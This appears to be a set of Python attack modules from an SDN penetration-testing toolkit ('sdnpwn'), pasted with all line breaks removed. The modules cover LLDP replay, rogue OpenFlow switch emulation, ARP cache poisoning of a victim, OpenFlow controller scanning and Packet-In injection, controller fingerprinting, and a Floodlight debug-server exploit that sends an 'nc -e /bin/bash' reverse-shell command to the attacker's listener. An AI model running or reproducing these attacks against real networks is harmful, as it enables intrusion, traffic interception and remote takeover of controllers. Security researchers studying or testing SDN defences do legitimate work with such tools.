def requestEvents(ws): if(sdnpwn.checkArg(["-s", "--summary"], ws.sdnpwn_params) == True): ws.send(requestSummary) ws.sdnpwn_expected_events += 1 if(sdnpwn.checkArg(["-d", "--topo"], ws.sdnpwn_params) == True): ws.send(topoStart) ws.sdnpwn_expected_events += 1 #Number of events will depend on number of devices. Need to revise exit strategy after data dump
def run(params): signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler iface = sdnpwn.getArg(["--iface", "-i"], params) count = sdnpwn.getArg(["--count", "-c"], params, 1) if (sdnpwn.checkArg(["--capture", "-w"], params)): outFile = sdnpwn.getArg(["--capture", "-w"], params) frameHandler = FrameHandler(iface, outFile) sdnpwn.message("Starting listener on interface " + iface, sdnpwn.NORMAL) sniff(iface=iface, store=0, prn=frameHandler.handler, count=1, filter="ether proto 0x88cc") sdnpwn.message("LLDP frame saved to " + outFile, sdnpwn.SUCCESS) elif (sdnpwn.checkArg(["--replay", "-r"], params)): inFile = sdnpwn.getArg(["--replay", "-r"], params) pkt = rdpcap(inFile) for c in range(int(count)): sendp(pkt, iface=iface) sdnpwn.message("Replayed " + inFile + " " + str(count) + " times", sdnpwn.SUCCESS)
def run(params): global ofSwitch verbose = False signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler controllerIP = sdnpwn.getArg(["--controller", "-c"], params, "127.0.0.1") controllerPort = sdnpwn.getArg(["--port", "-p"], params, 6633) configFile = sdnpwn.getArg(["--config", "-r"], params) packetOutForwardingIFace = sdnpwn.getArg(["--output-to", "-o"], params) packetOutForwardingFilter = sdnpwn.getArg(["--output-filter", "-f"], params) if (sdnpwn.checkArg(["--listen", "-l"], params)): rsPort = sdnpwn.getArg(["--listen", "-l"], params) rsThread = threading.Thread(target=activateRelaySocket, args=(int(rsPort), )) rsThread.setDaemon(True) rsThread.start() verbose = sdnpwn.checkArg(["--verbose" "-v"], params) if (configFile == ""): sdnpwn.message( "Please provide a switch configuration file using the --config option", sdnpwn.ERROR) return configRaw = open(configFile, 'r') config = "" try: config = json.load(configRaw) except Exception as e: sdnpwn.message( "Could not read config as JSON file. Please check syntax.", sdnpwn.ERROR) sdnpwn.message(e, sdnpwn.VERBOSE) config = config["of-switch"] ofSwitch = of.OpenFlowSwitch() ofSwitch.loadConfiguration(config) ofSwitch.auto_handle_Messages = True ofSwitch.enable_output = verbose if (packetOutForwardingIFace is not None): ofSwitch.forward_packet_out_payload = True ofSwitch.forward_packet_out_iface = packetOutForwardingIFace if (packetOutForwardingFilter is not None): ofSwitch.forward_packet_out_port_filter = packetOutForwardingFilter ofSwitch.connect(controllerIP, int(controllerPort))
def run(params): global poisoningComplete global haltPoisoning poisoningComplete = False haltPoisoning = False signal.signal(signal.SIGINT, signal_handler) iface = sdnpwn.getArg(["--iface", "-i"], params) vIP = sdnpwn.getArg(["--victim", "-v"], params) vMac = sdnpwn.getArg(["--victim-mac", "-vM"], params) targetIP = sdnpwn.getArg(["--target-ip", "-t"], params) newMac = sdnpwn.getArg(["--mac", "-m"], params) loop = sdnpwn.checkArg(["--loop", "-l"], params) loopDelay = sdnpwn.getArg(["--delay", "-d"], params, 1) if (vMac == None): vMac = sdnpwn.getTargetMacAddress(iface, vIP) if (vIP == None or vMac == None or targetIP == None or newMac == None): print(info()) print(usage()) return thisHostIP = sdnpwn.getIPAddress(iface) thisHostMAC = sdnpwn.getMacAddress(iface) if ((thisHostIP == '0') or (thisHostMAC == '0')): sdnpwn.message("Invalid interface", sdnpwn.ERROR) return arpCachePoison(iface, vIP, vMac, targetIP, newMac, thisHostIP, thisHostMAC, loop, loopDelay)
def onMessage(ws, msgJSON): msg = json.loads(msgJSON) if(sdnpwn.checkArg(["-b", "--pretty"], ws.sdnpwn_params)): parseMessage(msg) else: print(json.dumps(msg, indent=4, sort_keys=True)) ws.sdnpwn_expected_events -= 1
def run(params): signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler if(sdnpwn.checkArg(["-t", "--target"], params)): port = str(sdnpwn.getArg(["-p", "--port"], params, 8181)) cookie = sdnpwn.getArg(["-c", "--cookie"], params, None) wsURL = "ws://" + sdnpwn.getArg(["-t", "--target"], params) + ":" + port + "/onos/ui/websock/core" #websocket.enableTrace(True) ws = websocket.WebSocketApp(wsURL) ws.on_open = onOpen ws.on_message = onMessage ws.on_error = onError ws.on_close = onClose ws.sdnpwn_params = params ws.sdnpwn_expected_events = 1 #Execting initial bootstrap event if(cookie is not None): ws.cookie = cookie sdnpwn.printNormal("Attempting connection to " + wsURL) ws.run_forever() else: print(usage())
def run(params): signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler target = sdnpwn.getArg(["--target", "-t"], params) listening = sdnpwn.getArg(["--listen", "-l"], params) noSpawnLocal = sdnpwn.checkArg(["--no-local", "-r"], params) listeningIP = listening.split(":")[0] listeningPort = listening.split(":")[1] floodlightDebugPort = 6655 if (noSpawnLocal == False): sdnpwn.printNormal("Setting up shell handler...") listener = Thread(target=listenForShell, args=(listeningPort, )) listener.start() threads.append(listener) sdnpwn.printNormal("Attempting connection to debug server...") sock = getSocket(target, floodlightDebugPort, 5) if (sock == None): sdnpwn.printError("Could not connect...quiting.") exit(0) sdnpwn.printNormal("Getting shell...") badString = "import subprocess; subprocess.call(['nc','-e', '/bin/bash', '" + listeningIP + "', '" + listeningPort + "\r'])" sock.send(badString.encode()) socks.append(sock) while stopListening == False: pass
def run(params): signal.signal(signal.SIGINT, signal_handler) # Assign the signal handler iface = sdnpwn.getArg(["-i", "--iface"], params, "eth0") verbose = sdnpwn.checkArg(["-v", "--verbose"], params) try: if (verbose): sdnpwn.printVerbose("Getting MAC and IP address for interface " + iface) ifaceIP = sdnpwn.getIPAddress(iface) ifaceMac = sdnpwn.getMacAddress(iface) if (ifaceMac == "0" or ifaceIP == "0"): sdnpwn.printError("Cannot get details for interface " + iface + " ") return if (verbose): sdnpwn.printVerbose("Making this host known in the network") sendp( Ether(src=ifaceMac, dst="FF:FF:FF:FF:FF:FF", type=0x0806) / ARP(op=ARP.is_at, psrc=ifaceIP, hwsrc=ifaceMac, pdst=ifaceIP) ) # We just want the controller to know about this host sdnpwn.printNormal("Sending ARP request for this host...") resp = srp(Ether(src=ifaceMac, dst="FF:FF:FF:FF:FF:FF", type=0x0806) / ARP(op=ARP.who_has, pdst=ifaceIP), timeout=2) try: if (resp[0][ARP][0][1].psrc == ifaceIP): sdnpwn.printWarning("Proxy ARP is active") else: sdnpwn.printError("Got another address: " + resp[0][ARP][0][1].psrc) except: # This should only fail if there is no response or the response is not ARP. sdnpwn.printSuccess("Proxy ARP is not active") except Exception as e: print(e)
def run(params): signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler if (sdnpwn.checkArg(["-i", "--iface"], params)): sniff(iface=sdnpwn.getArg(["-i", "--iface"], params), prn=handlePkt)
def run(params): signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler appDir = sdnpwn.getArg(["-b", "--build"], params, None) doConfig = sdnpwn.checkArg(["-c", "--configure"], params) if(appDir == None): sdnpwn.message("No app directory specified", sdnpwn.ERROR) return if(doConfig): try: with open(appDir + "/sdnpwn_options", 'r+') as confFile: #confFile = open(appDir + "/sdnpwn_options", 'r+') confOut = "" for l in confFile.readlines(): conf = l.split("=") confVal = input(conf[0] + " [" + conf[1].replace("\n","") + "]: ") or conf[1].replace("\n","") confOut += conf[0] + "=" + confVal + "\n" confFile.seek(0) confFile.write(confOut) except Exception as e: sdnpwn.printWarning("Error while setting configuration!") print(e) return sdnpwn.printNormal("Building " + appDir) buildDir = appDir + "-building-temp" try: shutil.copytree(appDir, buildDir) config= {} with open(buildDir + "/sdnpwn_options", 'r') as confFile: for l in confFile.readlines(): conf = l.split("=") config[conf[0]] = conf[1].replace("\n","") sdnpwn.printNormal("Got configuration") with open(buildDir + "/pom.xml", 'r+') as pomFile: pomFileData = pomFile.read() pomFile.seek(0) for k in config.keys(): pomFileData = pomFileData.replace(k, config[k]) pomFile.write(pomFileData) javaFilesLocation = buildDir + "/src/main/java/org/onosproject/app/" javaFiles = [f for f in listdir(javaFilesLocation) if isfile(join(javaFilesLocation, f))] for j in javaFiles: #with open(javaFilesLocation + j, 'r+') as javaFile: #javaFileData = javaFile.read() #javaFile.seek(0) #Above method won't overwrite the whole file for some reason. Should check out why. javaFile = open(javaFilesLocation + j, 'r') javaFileData = javaFile.read() javaFile.close() for k in config.keys(): javaFileData = javaFileData.replace(k, config[k]) javaFile = open(javaFilesLocation + j, 'w') javaFile.write(javaFileData) javaFile.close() sdnpwn.printSuccess("Files updated with configuration") sdnpwn.printNormal("Compiling app with maven") call(['mvn', '-f', buildDir, 'clean', 'install']) shutil.copy(buildDir + "/target/" + config["$APP_NAME"] + "-1.0-SNAPSHOT.oar", "apps/compiled_apps/") shutil.copy(buildDir + "/target/" + config["$APP_NAME"] + "-1.0-SNAPSHOT.jar", "apps/compiled_apps/") sdnpwn.printSuccess("OAR and JAR file moved to apps/compiled_apps") if(sdnpwn.checkArg(["-k", "--keep-source"], params)): shutil.copytree(buildDir, appDir + "-" + str(datetime.datetime.now()).split(" ")[0]) sdnpwn.printNormal("App source saved in " + appDir + "-" + str(datetime.datetime.now()).split(" ")[0]) except Exception as e: sdnpwn.printError("Error building " + appDir) print(e) finally: shutil.rmtree(buildDir)
def run(params): targets = None #Full list of targets verbose = False signal.signal(signal.SIGINT, signal_handler) target = sdnpwn.getArg(["--target", "-t"], params) port = sdnpwn.getArg(["--port", "-p"], params) sockTimeout = sdnpwn.getArg(["--socket-timeout", "-s"], params, 2) count = int(sdnpwn.getArg(["--count", "-c"], params, 1)) delay = float(sdnpwn.getArg(["--delay", "-d"], params, 1)) verbose = sdnpwn.checkArg(["--verbose", "-v"], params) if (target == None): print(info()) print(usage()) return else: startIndex = 0 endIndex = 1 if ("/" in target): targets = ip_network(target) startIndex = 1 endIndex = targets.num_addresses - 2 else: targets = ip_network(str(target) + "/32") if (port == None): sdnpwn.message("No ports given, using 6633,6634, and 6653.", sdnpwn.NORMAL) port = "6633,6634,6653" for host in range(startIndex, endIndex): targetHost = targets[host].exploded for p in port.split(","): for c in range(count): sleep(delay) sock = getSocket(targetHost, p, float(sockTimeout)) if (sock != None): targetLabel = str(targetHost) + ":" + str(p) if (verbose == True): sdnpwn.message( "Connected to " + str(targetHost) + ":" + str(p), sdnpwn.NORMAL) #print(params) #for msg in params: #action = { #"--hello":sendHello, #"echo-req":sendEchoRequest #}[msg] #action(sock) #TODO: Remove following items in favour of above if ("--hello" in params): sdnpwn.message( "Sending OF Hello to " + str(targetHost), sdnpwn.NORMAL) ofHello = Hello() sock.send(ofHello.pack()) if ("--echo-request" in params): sdnpwn.message( "Sending OF Echo Request to " + str(targetHost), sdnpwn.NORMAL) echoReq = EchoRequest() sock.send(echoReq.pack()) if ("--packet-in" in params): xid = 13 bufferId = 0 totalLength = -1 inPort = 0 reason = "" data = b'' try: xid = params[params.index("--xid") + 1] # int bufferId = params[params.index("--buffer-id") + 1] # int if ("--total-length" in params): totalLength = params[ params.index("--total-length") + 1] # int Full length of frame inPort = params[params.index("--in-port") + 1] # int reason = params[params.index("--reason") + 1] #match or action if (reason == "match"): reason = 0 #PacketInReason.OFPR_MATCH elif (reason == "action"): reason = 1 #PacketInReason.OFPR_ACTION else: sdnpwn.message( "Invalid 'reason' argument given! Should be 'match' or 'action'", sdnpwn.ERROR) exit(0) dataBin = b'' if ("--data-raw" in params): data = params[params.index("--data-raw") + 1] #Data in bytes dataBin = codecs.decode(data, 'hex_codec') elif ("--data-scapy" in params): try: cmd = params[params.index("--data-scapy") + 1] #Data as scapy code pkt = eval( cmd) #Get packet from scapy objects dataBin = codecs.decode( scapy_packet_to_string(pkt), 'hex_codec') dataBin = bytes(pkt) except Exception as e: sdnpwn.message( "Error building Scapy packet", sdnpwn.ERROR) print(e) except Exception as e: sdnpwn.message( "Missing paramerters for OF Packet In!", sdnpwn.ERROR) print(e) if (totalLength == -1): totalLength = len(dataBin) pktIn = PacketIn(xid=int(xid), buffer_id=int(bufferId), total_len=int(totalLength), in_port=int(inPort), reason=int(reason), data=dataBin) sdnpwn.message( "Sending OF Packet In to " + str(targetHost), sdnpwn.NORMAL) sock.send(pktIn.pack()) if ("--hold-open" not in params): sock.close() else: sdnpwn.message("Holding socket open", sdnpwn.NORMAL) else: sdnpwn.message( "Could not connect to " + targetHost + " on socket " + str(p), sdnpwn.WARNING) if ("--hold-open" in params): sdnpwn.message("Keeping sockets open. Use CTRL+C to stop...", sdnpwn.NORMAL) while (1): sleep(2)
def run(params): global lldpTimeTrack lldpTimeTrack = [] defaultGuiPorts = {"Floodlight & OpenDayLight": 8080, "OpenDayLight (DLUX Standalone)": 9000, "OpenDayLight (DLUX w/t Karaf) & ONOS": 8181} defaultGuiURLs = {"Floodlight": "/ui/index.html", "OpenDayLight (DLUX)": "/dlux/index.html", "OpenDayLight (Hydrogen)": "/index.html", "ONOS": "/onos/ui/login.html"} guiIdentifiers = {} ofdpIntervals = {"Floodlight": 15, "OpenDayLight (Lithium & Helium)": 5, "OpenDayLight (Hydrogen)": 300, "Pox?": 5, "Ryu?": 1, "Beacon": 15, "ONOS": 3} iface = None verbose = False dumpLLDP = False signal.signal(signal.SIGINT, signal_handler) #Assign the signal handler dumpLLDP = sdnpwn.checkArg(["--dump-lldp", "-d"], params) verbose = sdnpwn.checkArg(["--verbose", "-v"], params) if(sdnpwn.checkArg(["--lldp", "-l"], params)): #Test by observing LLDP traffic on an interface iface = sdnpwn.getArg(["--iface", "-i"], params) if(iface is None): sdnpwn.message("Please specify an interface with --iface option", sdnpwn.ERROR) return sdnpwn.message("Collecting 6 LLDP frames. This may take a few minutes...", sdnpwn.NORMAL) lldpListen(iface, dumpLLDP) sdnpwn.message("Got all LLDP frames. Getting mean time between frames...", sdnpwn.NORMAL) timeBetweenMessages = [] timeBetweenMessages.append((lldpTimeTrack[1] - lldpTimeTrack[0])) timeBetweenMessages.append((lldpTimeTrack[3] - lldpTimeTrack[2])) timeBetweenMessages.append((lldpTimeTrack[5] - lldpTimeTrack[4])) meanTimeBetweenMessages = 0 for i in timeBetweenMessages: meanTimeBetweenMessages += i meanTimeBetweenMessages = (meanTimeBetweenMessages/len(timeBetweenMessages)) sdnpwn.message("Mean time between frames is: " + str(meanTimeBetweenMessages), sdnpwn.NORMAL) matches = 0 for k in ofdpIntervals: if((meanTimeBetweenMessages < (ofdpIntervals[k] + (ofdpIntervals[k]/100*5))) and (meanTimeBetweenMessages > (ofdpIntervals[k] - (ofdpIntervals[k]/100*5)))): sdnpwn.message("Mean time matches " + k, sdnpwn.NORMAL) matches+=1 if(matches == 0): sdnpwn.message("Could not determine controller from LLDP times.", sdnpwn.NORMAL) elif("--target" in params): #Test using a URL target = sdnpwn.getArg(["--target", "-t"], params) sdnpwn.message("Testing visibility of northbound interface on host " + str(target), sdnpwn.NORMAL) ports = sdnpwn.getArg(["--ports", "-p"], params) if(ports is None): ports = [] for p in defaultGuiPorts: ports.append(defaultGuiPorts[p]) else: ports = ports.split(",") sdnpwn.message("Enumerating ports...", sdnpwn.NORMAL) for p in ports: try: conn = httpc.HTTPConnection(target, int(p)) if(sdnpwn.checkArg(["--proxy", "-x"], params)): conn.setTunnel((sdnpwn.getArg(["--proxy", "-x"], params))) req = conn.request("GET", "/") sdnpwn.message("Made HTTP connection to " + str(target) + " on port " + str(p), sdnpwn.SUCCESS) for c in defaultGuiPorts: if(defaultGuiPorts[c] == p): sdnpwn.message("Port used by " + str(c) + " for GUI interface", sdnpwn.VERBOSE) sdnpwn.message("Testing GUI URLs...", sdnpwn.NORMAL) for u in defaultGuiURLs: try: conn = httpc.HTTPConnection(target, int(p)) conn.request("GET", defaultGuiURLs[u]) res = conn.getresponse() reqStatus = res.status if(reqStatus >= 200 and reqStatus < 400): sdnpwn.message("Got " + str(reqStatus) + " for " + defaultGuiURLs[u], sdnpwn.SUCCESS) sdnpwn.message("URL associated with " + u + " GUI interface", sdnpwn.VERBOSE) else: if(verbose == True): sdnpwn.message("Got " + str(reqStatus) + " for URL " + str(u), sdnpwn.VERBOSE) except Exception as e: if(verbose == True): sdnpwn.message("Error testing URL: " + str(e), sdnpwn.VERBOSE) except Exception as e: if(verbose == True): sdnpwn.message("No connection to " + str(target) + " on port " + str(p), sdnpwn.VERBOSE) sdnpwn.message(str(e), sdnpwn.VERBOSE) else: sdnpwn.message("No detection method given. Exiting.", sdnpwn.WARNING) print(info()) print(usage()) return